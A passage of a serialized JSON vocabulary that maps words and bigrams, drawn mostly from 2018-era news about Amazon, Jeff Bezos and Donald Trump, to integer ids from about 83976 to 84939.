83976,\n  \"ashworth\": 83977,\n  \"stock outright\": 83978,\n  \"fb having\": 83979,\n  \"mexico despite\": 83980,\n  \"blog senator\": 83981,\n  \"china told\": 83982,\n  \"google accusing\": 83983,\n  \"obstruction charges\": 83984,\n  \"peter a19\": 83985,\n  \"ellison\": 83986,\n  \"aviation enthusiast\": 83987,\n  \"extension british\": 83988,\n  \"minions pope\": 83989,\n  \"pyongyang president\": 83990,\n  \"include fashion\": 83991,\n  \"uncovered evidence\": 83992,\n  \"presents round\": 83993,\n  \"gotten raw\": 83994,\n  \"approved acquisitions\": 83995,\n  \"emailing\": 83996,\n  \"key years\": 83997,\n  \"buy ceo\": 83998,\n  \"hr dive\": 83999,\n  \"126\": 84000,\n  \"platform don\": 84001,\n  \"kass clarkson\": 84002,\n  \"money amazon\": 84003,\n  \"appointed released\": 84004,\n  \"lamented ocasio\": 84005,\n  \"shriver joined\": 84006,\n  \"dc swamp\": 84007,\n  \"tv chromecast\": 84008,\n  \"toby stephens\": 84009,\n  \"heights illinois\": 84010,\n  \"investors buy\": 84011,\n  \"stake euro\": 84012,\n  \"prove awkward\": 84013,\n  \"prevent foreign\": 84014,\n  \"don just\": 84015,\n  \"budgeted\": 84016,\n  \"regarding amazon\": 84017,\n  \"giant introduced\": 84018,\n  \"really run\": 84019,\n  \"deforestation hotspot\": 84020,\n  \"commission bring\": 84021,\n  \"morning thanks\": 84022,\n  \"tl literally\": 84023,\n  \"amendment increasingly\": 84024,\n  \"underpowered case\": 84025,\n  \"states want\": 84026,\n  \"forcing companies\": 84027,\n  \"centralizing\": 84028,\n  \"counselor kellyanne\": 84029,\n  \"rightly shift\": 84030,\n  \"shipping service\": 84031,\n  \"labor spikes\": 84032,\n  \"hawking george\": 84033,\n  \"sherwin\": 84034,\n  \"terrible prophecy\": 84035,\n  \"company helps\": 84036,\n  \"selfie face\": 84037,\n  \"amazon activists\": 84038,\n  \"forecasts\": 84039,\n  \"captures trump\": 84040,\n  \"orange hair\": 84041,\n  \"price preorder\": 84042,\n  \"grace new\": 84043,\n  \"china stocks\": 84044,\n  \"jpg 1150x540\": 84045,\n  \"abhish\": 84046,\n  \"girl helps\": 84047,\n  \"settlement posted\": 84048,\n  \"liu\": 84049,\n  \"remain stalled\": 84050,\n  \"blessings freely\": 84051,\n  \"neighbour\": 84052,\n  \"2125et\": 84053,\n  \"shipping customers\": 84054,\n  \"hydroponic farming\": 84055,\n  \"directly linked\": 84056,\n  \"making europe\": 84057,\n  \"mcnamee ap\": 84058,\n  \"6k seth\": 84059,\n  \"bold stance\": 84060,\n  \"containing question\": 84061,\n  \"officials sanders\": 84062,\n  \"london building\": 84063,\n  \"global depression\": 84064,\n  \"financial relationship\": 84065,\n  \"employees particularly\": 84066,\n  \"commercial advisor\": 84067,\n  \"travel sites\": 84068,\n  \"book reached\": 84069,\n  \"family lawyer\": 84070,\n  \"turnover year\": 84071,\n  \"public lecture\": 84072,\n  \"orange vanilla\": 84073,\n  \"paige leskin\": 84074,\n  \"860 products\": 84075,\n  \"publication parent\": 84076,\n  \"priority infrastructure\": 84077,\n  \"mixed celebrity\": 84078,\n  \"denver fischer\": 84079,\n  \"emphasis added\": 84080,\n  \"charts cdc_4594963233aeb9189cdc41a8_embed\": 84081,\n  \"ries ries\": 84082,\n  \"reback\": 84083,\n  \"jpg\": 84084,\n  \"bezos nunberg\": 84085,\n  \"wrong thing\": 84086,\n  \"long legal\": 84087,\n  \"winning comedy\": 84088,\n  \"fact set\": 84089,\n  \"alleged corruption\": 84090,\n  \"yale reuters\": 84091,\n  \"desmond hellmann\": 84092,\n  \"plus requests\": 84093,\n  \"pet owners\": 84094,\n  \"capacity demands\": 84095,\n  \"phone youtube\": 84096,\n  \"big companies\": 84097,\n  \"expected completion\": 84098,\n  \"list world\": 84099,\n  \"stifle news\": 84100,\n  \"npr london\": 84101,\n  \"right jeffrey\": 84102,\n  \"remains strong\": 84103,\n  \"clients kenneth\": 84104,\n  \"catastrophe\": 84105,\n  \"good payoff\": 84106,\n  \"significant investments\": 84107,\n  \"cottage trade\": 84108,\n  \"oslo\": 84109,\n  \"guy know\": 84110,\n  \"new donald\": 84111,\n  \"twitch goodreads\": 84112,\n  \"alexa service\": 84113,\n  \"2fwww theverge\": 84114,\n  \"told journalists\": 84115,\n  \"executive allen\": 84116,\n  \"create legal\": 84117,\n  \"season worthy\": 84118,\n  \"special pricing\": 84119,\n  \"adds details\": 84120,\n  \"victory oscar\": 84121,\n  \"pbm pure\": 84122,\n  \"company pushed\": 84123,\n  \"workplace amazon\": 84124,\n  \"presence enterprise\": 84125,\n  \"wars convention\": 84126,\n  \"box department\": 84127,\n  \"welcoming refugees\": 84128,\n  \"post hit\": 84129,\n  \"house correspondent\": 84130,\n  \"manama bahrain\": 84131,\n  \"occur\": 84132,\n  \"legislative fiscal\": 84133,\n  \"provocative odyssey\": 84134,\n  \"lonergan president\": 84135,\n  \"year keynote\": 84136,\n  \"delivery agriculture\": 84137,\n  \"dwyane wade\": 84138,\n  \"group presumably\": 84139,\n  \"devise\": 84140,\n  \"left gator\": 84141,\n  \"207 reasonable\": 84142,\n  \"kingdom consulate\": 84143,\n  \"magnet\": 84144,\n  \"boost private\": 84145,\n  \"intoned\": 84146,\n  \"0992 hk\": 84147,\n  \"giving workers\": 84148,\n  \"government buyers\": 84149,\n  \"service subsidies\": 84150,\n  \"yesterday thanks\": 84151,\n  \"replacestate a4ee\": 84152,\n  \"reckons\": 84153,\n  \"cornerstone\": 84154,\n  \"year cohen\": 84155,\n  \"seamless experience\": 84156,\n  \"agency says\": 84157,\n  \"cnn source\": 84158,\n  \"things brian\": 84159,\n  \"warpath\": 84160,\n  \"association owns\": 84161,\n  \"planet ending\": 84162,\n  \"thoughts network\": 84163,\n  \"image tom\": 84164,\n  \"ohkarb7dbf\": 84165,\n  \"service huge\": 84166,\n  \"cutting\": 84167,\n  \"jpg fit\": 84168,\n  \"roughly 400\": 84169,\n  \"support swj\": 84170,\n  \"san\": 84171,\n  \"sent cease\": 84172,\n  \"mcmullan\": 84173,\n  \"original dissident\": 84174,\n  \"severity\": 84175,\n  \"competitive trump\": 84176,\n  \"bloody great\": 84177,\n  \"year extension\": 84178,\n  \"presents bezos\": 84179,\n  \"couple living\": 84180,\n  \"city bringing\": 84181,\n  \"communications trump\": 84182,\n  \"start prime\": 84183,\n  \"push 800\": 84184,\n  \"regulation fine\": 84185,\n  \"independence enterprise\": 84186,\n  \"god melodrama\": 84187,\n  \"chicago project\": 84188,\n  \"despite poor\": 84189,\n  \"mueller research\": 84190,\n  \"bizarre story\": 84191,\n  \"consumers toto\": 84192,\n  \"season 2018\": 84193,\n  \"indystar buy\": 84194,\n  \"corporations including\": 84195,\n  \"fast growing\": 84196,\n  \"illegally says\": 84197,\n  \"bootstrapper studios\": 84198,\n  \"brazil haaland\": 84199,\n  \"discounted maybe\": 84200,\n  \"trump rocketed\": 84201,\n  \"rekognition service\": 84202,\n  \"2001 american\": 84203,\n  \"glory told\": 84204,\n  \"business video\": 84205,\n  \"16m\": 84206,\n  \"h9x\": 84207,\n  \"bonus scheme\": 84208,\n  \"greer kadetsky\": 84209,\n  \"googled trump\": 84210,\n  \"playoff starts\": 84211,\n  \"convincing argument\": 84212,\n  \"favorites\": 84213,\n  \"276 454\": 84214,\n  \"corporations groups\": 84215,\n  \"acre austin\": 84216,\n  \"singling\": 84217,\n  \"election advertising\": 84218,\n  \"sarcastically wished\": 84219,\n  \"government local\": 84220,\n  \"bozo divorcing\": 84221,\n  \"usb\": 84222,\n  \"california wildfire\": 84223,\n  \"provide skills\": 84224,\n  \"site created\": 84225,\n  \"troops assigned\": 84226,\n  \"devin\": 84227,\n  \"frieda montreal\": 84228,\n  \"donor class\": 84229,\n  \"dagen mcdowell\": 84230,\n  \"chief margrethe\": 84231,\n  \"current policy\": 84232,\n  \"grasping wife\": 84233,\n  \"ceo took\": 84234,\n  \"unmistakable message\": 84235,\n  \"fueling programs\": 84236,\n  \"military police\": 84237,\n  \"protection services\": 84238,\n  \"bezos david\": 84239,\n  \"major trump\": 84240,\n  \"oracle bid\": 84241,\n  \"clown suits\": 84242,\n  \"writer candice\": 84243,\n  \"track building\": 84244,\n  \"peer jd\": 84245,\n  \"diving excursion\": 84246,\n  \"nick statt\": 84247,\n  \"trump sent\": 84248,\n  \"showman ceo\": 84249,\n  \"stock tumbled\": 84250,\n  \"odd bedfellows\": 84251,\n  \"loophole closers\": 84252,\n  \"hidalgo international\": 84253,\n  \"correction index\": 84254,\n  \"generation cloud\": 84255,\n  \"criticize amazon\": 84256,\n  \"shipstation\": 84257,\n  \"famous wealthiest\": 84258,\n  \"recognition cameras\": 84259,\n  \"health right\": 84260,\n  \"good day\": 84261,\n  \"definers pr\": 84262,\n  \"claims brought\": 84263,\n  \"becker passive\": 84264,\n  \"liberal slant\": 84265,\n  \"amazon obsession\": 84266,\n  \"sandy sandyk5251\": 84267,\n  \"policy council\": 84268,\n  \"won compromise\": 84269,\n  \"2010et copyright\": 84270,\n  \"sanders introduces\": 84271,\n  \"social norms\": 84272,\n  \"finance family\": 84273,\n  \"video audio\": 84274,\n  \"righteous\": 84275,\n  \"asset forfeiture\": 84276,\n  \"billions mother\": 84277,\n  \"bills contain\": 84278,\n  \"jane fonda\": 84279,\n  \"wyoming\": 84280,\n  \"mayangdi inzaulgarat\": 84281,\n  \"populated rural\": 84282,\n  \"going going\": 84283,\n  \"cnn sabby\": 84284,\n  \"murdered babies\": 84285,\n  \"donald jr\": 84286,\n  \"serve civilians\": 84287,\n  \"s1 a4ee\": 84288,\n  \"outdo\": 84289,\n  \"time things\": 84290,\n  \"memo calls\": 84291,\n  \"transgressions\": 84292,\n  \"report reveals\": 84293,\n  \"reading germany\": 84294,\n  \"trump going\": 84295,\n  \"squaring\": 84296,\n  \"cloud rivals\": 84297,\n  \"mega corp\": 84298,\n  \"pipped spacex\": 84299,\n  \"ebay nasdaq\": 84300,\n  \"indiewire amazon\": 84301,\n  \"encroached\": 84302,\n  \"destructive chain\": 84303,\n  \"voluminous\": 84304,\n  \"protester elizabeth\": 84305,\n  \"brief sent\": 84306,\n  \"weekend defined\": 84307,\n  \"constitutional law\": 84308,\n  \"amazon thousands\": 84309,\n  \"gdp view\": 84310,\n  \"gerrymandering artful\": 84311,\n  \"encapsulated\": 84312,\n  \"armed gang\": 84313,\n  \"record time\": 84314,\n  \"e0 t9x\": 84315,\n  \"180928150901 rose\": 84316,\n  \"stuart rosenberg\": 84317,\n  \"volpe tells\": 84318,\n  \"merchandize\": 84319,\n  \"investors hoped\": 84320,\n  \"tape\": 84321,\n  \"war related\": 84322,\n  \"firm wrote\": 84323,\n  \"amazon represents\": 84324,\n  \"drags dog\": 84325,\n  \"eric schmidt\": 84326,\n  \"just discussed\": 84327,\n  \"cars getting\": 84328,\n  \"sessions announces\": 84329,\n  \"trump ranges\": 84330,\n  \"feels\": 84331,\n  \"katranides\": 84332,\n  \"struggling felt\": 84333,\n  \"pecker guided\": 84334,\n  \"wholesale cope\": 84335,\n  \"conservative social\": 84336,\n  \"family office\": 84337,\n  \"box altogether\": 84338,\n  \"davis\": 84339,\n  \"diaries files\": 84340,\n  \"content amazon\": 84341,\n  \"definite window\": 84342,\n  \"usps remains\": 84343,\n  \"benefits worth\": 84344,\n  \"pets california\": 84345,\n  \"view problems\": 84346,\n  \"peaceful world\": 84347,\n  \"senior media\": 84348,\n  \"dhabi\": 84349,\n  \"vermont christine\": 84350,\n  \"service partner\": 84351,\n  \"good neighbor\": 84352,\n  \"boy share\": 84353,\n  \"common people\": 84354,\n  \"service customers\": 84355,\n  \"services generated\": 84356,\n  \"early 2016\": 84357,\n  \"lower juicier\": 84358,\n  \"fact checking\": 84359,\n  \"tech bubble\": 84360,\n  \"owner american\": 84361,\n  \"predominant market\": 84362,\n  \"office building\": 84363,\n  \"news daphn\\u00e9\": 84364,\n  \"cast president\": 84365,\n  \"unveiling amazon\": 84366,\n  \"plan julian\": 84367,\n  \"teaching classes\": 84368,\n  \"practising\": 84369,\n  \"selling surveillance\": 84370,\n  \"triple white\": 84371,\n  \"related headwinds\": 84372,\n  \"saving billions\": 84373,\n  \"petition read\": 84374,\n  \"dollar 2018\": 84375,\n  \"felt according\": 84376,\n  \"trump progeny\": 84377,\n  \"pf_rd_s\": 84378,\n  \"tech companies\": 84379,\n  \"headliners include\": 84380,\n  \"bausch lomb\": 84381,\n  \"foundup\": 84382,\n  \"concerted push\": 84383,\n  \"undocumented immigrants\": 84384,\n  \"smalls\": 84385,\n  \"big partnership\": 84386,\n  \"pot new\": 84387,\n  \"lowest skilled\": 84388,\n  \"chaplinesque\": 84389,\n  \"increasingly vocal\": 84390,\n  \"concerning tax\": 84391,\n  \"considering individual\": 84392,\n  \"video alphaone\": 84393,\n  \"basil\": 84394,\n  \"european countries\": 84395,\n  \"companies maybe\": 84396,\n  \"handle anissue\": 84397,\n  \"shap post\": 84398,\n  \"million trying\": 84399,\n  \"adviser explains\": 84400,\n  \"inc_headline\": 84401,\n  \"edmund lee\": 84402,\n  \"independently verified\": 84403,\n  \"server719402\": 84404,\n  \"michaels\": 84405,\n  \"senior advisers\": 84406,\n  \"charges know\": 84407,\n  \"chinese american\": 84408,\n  \"cartoonist steve\": 84409,\n  \"bradbury famously\": 84410,\n  \"axs\": 84411,\n  \"year salary\": 84412,\n  \"chief trump\": 84413,\n  \"online report\": 84414,\n  \"slumps\": 84415,\n  \"sensation\": 84416,\n  \"207\": 84417,\n  \"kedis ogborn\": 84418,\n  \"proven strategies\": 84419,\n  \"cognizant\": 84420,\n  \"adopt child\": 84421,\n  \"inverting\": 84422,\n  \"flexible attorney\": 84423,\n  \"department approval\": 84424,\n  \"altered machines\": 84425,\n  \"force reaches\": 84426,\n  \"number amazon\": 84427,\n  \"pledge announced\": 84428,\n  \"long expose\": 84429,\n  \"influence apple\": 84430,\n  \"worst scenario\": 84431,\n  \"wires remain\": 84432,\n  \"potentially challenge\": 84433,\n  \"tilson isn\": 84434,\n  \"computers read\": 84435,\n  \"lobbyist keeping\": 84436,\n  \"business grew\": 84437,\n  \"facebook dilemma\": 84438,\n  \"1999 book\": 84439,\n  \"actions courts\": 84440,\n  \"guy whoknows\": 84441,\n  \"members gather\": 84442,\n  \"contain multiple\": 84443,\n  \"verify cases\": 84444,\n  \"team haven\": 84445,\n  \"expos\\u00e9 tracing\": 84446,\n  \"child welfare\": 84447,\n  \"product sourcing\": 84448,\n  \"resistant paint\": 84449,\n  \"high pressure\": 84450,\n  \"areas protected\": 84451,\n  \"unsubstantiated apnewsbreak\": 84452,\n  \"nfc payments\": 84453,\n  \"mingles\": 84454,\n  \"suv\": 84455,\n  \"debt writes\": 84456,\n  \"utilizing parcel\": 84457,\n  \"wage walmart\": 84458,\n  \"sbux\": 84459,\n  \"usps fiscal\": 84460,\n  \"ollow\": 84461,\n  \"technica reports\": 84462,\n  \"says company\": 84463,\n  \"especially want\": 84464,\n  \"displays results\": 84465,\n  \"technical design\": 84466,\n  \"ceo just\": 84467,\n  \"ticks higher\": 84468,\n  \"mccarthy references\": 84469,\n  \"hoover stayed\": 84470,\n  \"pretty quickly\": 84471,\n  \"resources controversial\": 84472,\n  \"properly appraise\": 84473,\n  \"desserts sweets\": 84474,\n  \"urging current\": 84475,\n  \"scent\": 84476,\n  \"parties category\": 84477,\n  \"2012 sandy\": 84478,\n  \"people turn\": 84479,\n  \"hathaway shares\": 84480,\n  \"download modify\": 84481,\n  \"normal process\": 84482,\n  \"193 dutch\": 84483,\n  \"problem follow\": 84484,\n  \"deports\": 84485,\n  \"snapped\": 84486,\n  \"issue say\": 84487,\n  \"big little\": 84488,\n  \"dana deasy\": 84489,\n  \"tax inversion\": 84490,\n  \"pritzker\": 84491,\n  \"tesla sounds\": 84492,\n  \"address homelessness\": 84493,\n  \"seeking asylum\": 84494,\n  \"righteous angels\": 84495,\n  \"review 2070336002\": 84496,\n  \"fund reuters\": 84497,\n  \"says eu\": 84498,\n  \"jobs arrived\": 84499,\n  \"loose lips\": 84500,\n  \"tech trotter\": 84501,\n  \"congressman amazon\": 84502,\n  \"isn influenced\": 84503,\n  \"common chicken\": 84504,\n  \"fight deforestation\": 84505,\n  \"note hardware\": 84506,\n  \"630 billion\": 84507,\n  \"contentservices\": 84508,\n  \"attic\": 84509,\n  \"alex gorsky\": 84510,\n  \"company deliveroo\": 84511,\n  \"cbs jeff\": 84512,\n  \"spinach\": 84513,\n  \"point chukumba\": 84514,\n  \"tech oligopoly\": 84515,\n  \"newpaper24 getty\": 84516,\n  \"recommends nutrition\": 84517,\n  \"cuomo thanks\": 84518,\n  \"stellar\": 84519,\n  \"israel prime\": 84520,\n  \"r4ee o4e\": 84521,\n  \"low enthusiasm\": 84522,\n  \"haynes rowan\": 84523,\n  \"corporation led\": 84524,\n  \"sensible\": 84525,\n  \"quickly responded\": 84526,\n  \"insignia consultants\": 84527,\n  \"weintraub\": 84528,\n  \"featured stacks\": 84529,\n  \"mail brennan\": 84530,\n  \"grievous\": 84531,\n  \"chosen struggling\": 84532,\n  \"extra raccoon\": 84533,\n  \"employee jace\": 84534,\n  \"new drops\": 84535,\n  \"putin denies\": 84536,\n  \"subside amazon\": 84537,\n  \"nearly 100\": 84538,\n  \"netflix boycottnetflix\": 84539,\n  \"land uses\": 84540,\n  \"usual studied\": 84541,\n  \"w5q case\": 84542,\n  \"republicans wereoutplayed\": 84543,\n  \"small decisions\": 84544,\n  \"sold 271\": 84545,\n  \"coratti kelly\": 84546,\n  \"ire\": 84547,\n  \"ferrante\": 84548,\n  \"2018 massive\": 84549,\n  \"mccabe discussion\": 84550,\n  \"raise deficits\": 84551,\n  \"silly contraction\": 84552,\n  \"record conversations\": 84553,\n  \"confirmation tariffs\": 84554,\n  \"retail operating\": 84555,\n  \"timer\": 84556,\n  \"current model\": 84557,\n  \"living conditions\": 84558,\n  \"awful rachel\": 84559,\n  \"amazon russian\": 84560,\n  \"effective nov\": 84561,\n  \"evidence existed\": 84562,\n  \"exact pre\": 84563,\n  \"challenge price\": 84564,\n  \"hq2\": 84565,\n  \"revolting behavior\": 84566,\n  \"device declared\": 84567,\n  \"abuse hypocrites\": 84568,\n  \"numerous tweets\": 84569,\n  \"dedicated teams\": 84570,\n  \"ridiculed trump\": 84571,\n  \"fi anthology\": 84572,\n  \"stamps sen\": 84573,\n  \"political gossip\": 84574,\n  \"optimisation practices\": 84575,\n  \"flurry trump\": 84576,\n  \"especially latency\": 84577,\n  \"line growth\": 84578,\n  \"routinely\": 84579,\n  \"operations twitter\": 84580,\n  \"celeste\": 84581,\n  \"servants\": 84582,\n  \"city air\": 84583,\n  \"called gartner\": 84584,\n  \"transatlantic future\": 84585,\n  \"common\": 84586,\n  \"internet clicks\": 84587,\n  \"mick trump\": 84588,\n  \"establishing task\": 84589,\n  \"labo\": 84590,\n  \"brian hall\": 84591,\n  \"winds rush\": 84592,\n  \"freezing\": 84593,\n  \"company barely\": 84594,\n  \"cities experiencing\": 84595,\n  \"losing money\": 84596,\n  \"morthland college\": 84597,\n  \"advice philip\": 84598,\n  \"jared talk\": 84599,\n  \"breaks new\": 84600,\n  \"federal prison\": 84601,\n  \"duties amazon\": 84602,\n  \"amazon 100\": 84603,\n  \"leadership shakeup\": 84604,\n  \"remains acute\": 84605,\n  \"local openings\": 84606,\n  \"aliens\": 84607,\n  \"cleanse\": 84608,\n  \"era program\": 84609,\n  \"national air\": 84610,\n  \"supersized employer\": 84611,\n  \"tweeting nuclear\": 84612,\n  \"kohls combination\": 84613,\n  \"diaz editorial\": 84614,\n  \"dinner source\": 84615,\n  \"headquartered according\": 84616,\n  \"california tested\": 84617,\n  \"beneficial according\": 84618,\n  \"fantasises\": 84619,\n  \"content yes\": 84620,\n  \"penguin\": 84621,\n  \"initial days\": 84622,\n  \"rescue committee\": 84623,\n  \"organized protest\": 84624,\n  \"strong quarter\": 84625,\n  \"short sanders\": 84626,\n  \"trump suggested\": 84627,\n  \"images forbesimg\": 84628,\n  \"falcon heavy\": 84629,\n  \"misconduct youtube\": 84630,\n  \"writing covfefe\": 84631,\n  \"overtake starbucks\": 84632,\n  \"taps\": 84633,\n  \"srch\": 84634,\n  \"political elites\": 84635,\n  \"amazon opens\": 84636,\n  \"dismembering\": 84637,\n  \"healthier children\": 84638,\n  \"leave package\": 84639,\n  \"flag integrators\": 84640,\n  \"versus doing\": 84641,\n  \"paper arms\": 84642,\n  \"wisdom watch\": 84643,\n  \"banking options\": 84644,\n  \"daniel sloss\": 84645,\n  \"trump arrived\": 84646,\n  \"rourke drew\": 84647,\n  \"change finally\": 84648,\n  \"user microphone\": 84649,\n  \"requires internet\": 84650,\n  \"safety issues\": 84651,\n  \"tanked\": 84652,\n  \"faber\": 84653,\n  \"media skepticism\": 84654,\n  \"ad superimposed\": 84655,\n  \"joseph parilla\": 84656,\n  \"movie portfolio\": 84657,\n  \"wiped nearly\": 84658,\n  \"jamarlin\": 84659,\n  \"commissions fulfillment\": 84660,\n  \"eligible news\": 84661,\n  \"picturing\": 84662,\n  \"times warren\": 84663,\n  \"a4ee h8\": 84664,\n  \"jim lentz\": 84665,\n  \"antitrust concerns\": 84666,\n  \"daniel\": 84667,\n  \"magnitude earthquake\": 84668,\n  \"blaming politics\": 84669,\n  \"conway special\": 84670,\n  \"positive earnings\": 84671,\n  \"antitrust prosecution\": 84672,\n  \"videopinner containerclassid\": 84673,\n  \"service budget\": 84674,\n  \"sprouts\": 84675,\n  \"expensive suites\": 84676,\n  \"core immediately\": 84677,\n  \"woodward devastating\": 84678,\n  \"classic 1940s\": 84679,\n  \"predecessor missteps\": 84680,\n  \"cited anti\": 84681,\n  \"html counterpoint\": 84682,\n  \"biggest lingering\": 84683,\n  \"known donation\": 84684,\n  \"media admitting\": 84685,\n  \"texas ranch\": 84686,\n  \"businesses nokia\": 84687,\n  \"time hear\": 84688,\n  \"aisles\": 84689,\n  \"cooler yes\": 84690,\n  \"morons netflix\": 84691,\n  \"deliveries unfortunately\": 84692,\n  \"fact charge\": 84693,\n  \"2016 variety\": 84694,\n  \"actually talking\": 84695,\n  \"pharmacy experience\": 84696,\n  \"issued business\": 84697,\n  \"tha amazon\": 84698,\n  \"nonpartisan legislative\": 84699,\n  \"businessperson\": 84700,\n  \"helmet\": 84701,\n  \"retained high\": 84702,\n  \"report critics\": 84703,\n  \"worldwide google\": 84704,\n  \"quick food\": 84705,\n  \"rove\": 84706,\n  \"sourer\": 84707,\n  \"impending crisis\": 84708,\n  \"kathie lee\": 84709,\n  \"hasn led\": 84710,\n  \"debunked claimed\": 84711,\n  \"backwoods california\": 84712,\n  \"teensafe leaves\": 84713,\n  \"photo randy\": 84714,\n  \"brazilian agricultural\": 84715,\n  \"left residents\": 84716,\n  \"invited followers\": 84717,\n  \"kennedy suggested\": 84718,\n  \"scalise la\": 84719,\n  \"desjarlais tn\": 84720,\n  \"following heated\": 84721,\n  \"including nearly\": 84722,\n  \"pay consumption\": 84723,\n  \"spiegel\": 84724,\n  \"manufacturers pharmaceutical\": 84725,\n  \"1993 finally\": 84726,\n  \"wrinkle\": 84727,\n  \"write ihob\": 84728,\n  \"handling classified\": 84729,\n  \"money protecting\": 84730,\n  \"550 cards\": 84731,\n  \"border barriers\": 84732,\n  \"treating putin\": 84733,\n  \"orange county\": 84734,\n  \"minister mark\": 84735,\n  \"ibm intel\": 84736,\n  \"lawn mowing\": 84737,\n  \"order appointing\": 84738,\n  \"worth 163\": 84739,\n  \"multiple fatalities\": 84740,\n  \"peter georgescu\": 84741,\n  \"weeks easley\": 84742,\n  \"toll increases\": 84743,\n  \"getting bad\": 84744,\n  \"stall\": 84745,\n  \"leaning newspaper\": 84746,\n  \"trade secrets\": 84747,\n  \"false inc_custom_sidebar\": 84748,\n  \"huge warehouse\": 84749,\n  \"happy people\": 84750,\n  \"savior cnn\": 84751,\n  \"allow contractors\": 84752,\n  \"d16991847\": 84753,\n  \"particularly sensitive\": 84754,\n  \"ferrari slumped\": 84755,\n  \"r1\": 84756,\n  \"bigcommerce woocommerce\": 84757,\n  \"stephen miller\": 84758,\n  \"politics 2018\": 84759,\n  \"prove complex\": 84760,\n  \"biographical\": 84761,\n  \"retailer cnn\": 84762,\n  \"headquarters plans\": 84763,\n  \"exports rebounded\": 84764,\n  \"goods company\": 84765,\n  \"aloud don\": 84766,\n  \"company perennial\": 84767,\n  \"global workforce\": 84768,\n  \"suspending acosta\": 84769,\n  \"externally\": 84770,\n  \"ordered obstruction\": 84771,\n  \"pending cloud\": 84772,\n  \"missteps\": 84773,\n  \"bezos begins\": 84774,\n  \"effective immediately\": 84775,\n  \"overlook\": 84776,\n  \"music stars\": 84777,\n  \"shipping solutions\": 84778,\n  \"pamela anderson\": 84779,\n  \"reinstatement\": 84780,\n  \"divorce lawyer\": 84781,\n  \"don win\": 84782,\n  \"trump fear\": 84783,\n  \"deep fake\": 84784,\n  \"legal fellow\": 84785,\n  \"gop lawmaker\": 84786,\n  \"protest bills\": 84787,\n  \"patriarch\": 84788,\n  \"headed corporate\": 84789,\n  \"discuss modernizing\": 84790,\n  \"imagine flipping\": 84791,\n  \"management reforms\": 84792,\n  \"online shop\": 84793,\n  \"idea barely\": 84794,\n  \"contaminating drinking\": 84795,\n  \"trump silicon\": 84796,\n  \"parties known\": 84797,\n  \"amazon postmaster\": 84798,\n  \"years democrats\": 84799,\n  \"sanchez jeff\": 84800,\n  \"2018 following\": 84801,\n  \"umizoomi math\": 84802,\n  \"competes\": 84803,\n  \"adoptive father\": 84804,\n  \"watergate reporter\": 84805,\n  \"level amazon\": 84806,\n  \"charles manson\": 84807,\n  \"sciences list\": 84808,\n  \"chang airs\": 84809,\n  \"michael avenatti\": 84810,\n  \"lynch director\": 84811,\n  \"r4ee g5e\": 84812,\n  \"michael coleman\": 84813,\n  \"alive\": 84814,\n  \"spectrum senator\": 84815,\n  \"marijuana safety\": 84816,\n  \"brothers fail\": 84817,\n  \"2022 report\": 84818,\n  \"8220 dysfunctional\": 84819,\n  \"lucas\": 84820,\n  \"kullgren fed\": 84821,\n  \"client gregory\": 84822,\n  \"airpods\": 84823,\n  \"buying mail\": 84824,\n  \"measures announced\": 84825,\n  \"folks leave\": 84826,\n  \"feud ensnares\": 84827,\n  \"devices 2018\": 84828,\n  \"league\": 84829,\n  \"ceo rallying\": 84830,\n  \"trump ramped\": 84831,\n  \"money charge\": 84832,\n  \"old testament\": 84833,\n  \"villain ernst\": 84834,\n  \"queasiness\": 84835,\n  \"hsbc\": 84836,\n  \"sent thank\": 84837,\n  \"181003125909 a45\": 84838,\n  \"stuffed chicken\": 84839,\n  \"thinking americans\": 84840,\n  \"recommend recent\": 84841,\n  \"night mccarthy\": 84842,\n  \"cuomo lashed\": 84843,\n  \"noted victor\": 84844,\n  \"board seat\": 84845,\n  \"seminole hard\": 84846,\n  \"marijuana according\": 84847,\n  \"forced small\": 84848,\n  \"mark meadows\": 84849,\n  \"butter\": 84850,\n  \"retracted statements\": 84851,\n  \"uncrewed pod\": 84852,\n  \"releas disney\": 84853,\n  \"brad keywell\": 84854,\n  \"crime news\": 84855,\n  \"file footage\": 84856,\n  \"projectsa measure\": 84857,\n  \"071\": 84858,\n  \"para\\u00edba state\": 84859,\n  \"solidarity group\": 84860,\n  \"stern school\": 84861,\n  \"hehas meeting\": 84862,\n  \"american creep\": 84863,\n  \"botanical\": 84864,\n  \"pecker hired\": 84865,\n  \"data generated\": 84866,\n  \"rich nasdaq\": 84867,\n  \"movement underway\": 84868,\n  \"better ad\": 84869,\n  \"novel collaboration\": 84870,\n  \"encourage buyers\": 84871,\n  \"party dsps\": 84872,\n  \"lecture\": 84873,\n  \"denied mika\": 84874,\n  \"don anticipate\": 84875,\n  \"efforts mean\": 84876,\n  \"bezos massive\": 84877,\n  \"principal business\": 84878,\n  \"cca specifically\": 84879,\n  \"poll trump\": 84880,\n  \"860 billion\": 84881,\n  \"comprehensive agreement\": 84882,\n  \"street story\": 84883,\n  \"running mate\": 84884,\n  \"good public\": 84885,\n  \"connect iq\": 84886,\n  \"amzn delivery\": 84887,\n  \"zeid\": 84888,\n  \"currently averages\": 84889,\n  \"espouses\": 84890,\n  \"la monica\": 84891,\n  \"african woman\": 84892,\n  \"henle\": 84893,\n  \"management dismissive\": 84894,\n  \"spectrum appear\": 84895,\n  \"subscription retailer\": 84896,\n  \"legally separate\": 84897,\n  \"radio exchange\": 84898,\n  \"300 manatees\": 84899,\n  \"specific market\": 84900,\n  \"stating bruce\": 84901,\n  \"warehouses amazon\": 84902,\n  \"tricky business\": 84903,\n  \"murdered journalist\": 84904,\n  \"unsafe conditions\": 84905,\n  \"cortez killed\": 84906,\n  \"rick\": 84907,\n  \"academy charter\": 84908,\n  \"forces executive\": 84909,\n  \"tina brown\": 84910,\n  \"salesforce ceo\": 84911,\n  \"totalshtrump 3dpi\": 84912,\n  \"brings death\": 84913,\n  \"cases including\": 84914,\n  \"naini\": 84915,\n  \"scaremongering\": 84916,\n  \"retail arena\": 84917,\n  \"coverage captured\": 84918,\n  \"amazon hosting\": 84919,\n  \"past affairs\": 84920,\n  \"wallis annenberg\": 84921,\n  \"require recipients\": 84922,\n  \"biggest scam\": 84923,\n  \"jugular\": 84924,\n  \"rag national\": 84925,\n  \"american life\": 84926,\n  \"noted david\": 84927,\n  \"traditional family\": 84928,\n  \"richsplaining\": 84929,\n  \"entice readers\": 84930,\n  \"pipes\": 84931,\n  \"buenos aires\": 84932,\n  \"provably\": 84933,\n  \"poses significant\": 84934,\n  \"nyse news\": 84935,\n  \"need personnel\": 84936,\n  \"mmxviii\": 84937,\n  \"salute\": 84938,\n  \"forecast looking\": 84939,\n  \"usps parcel\": 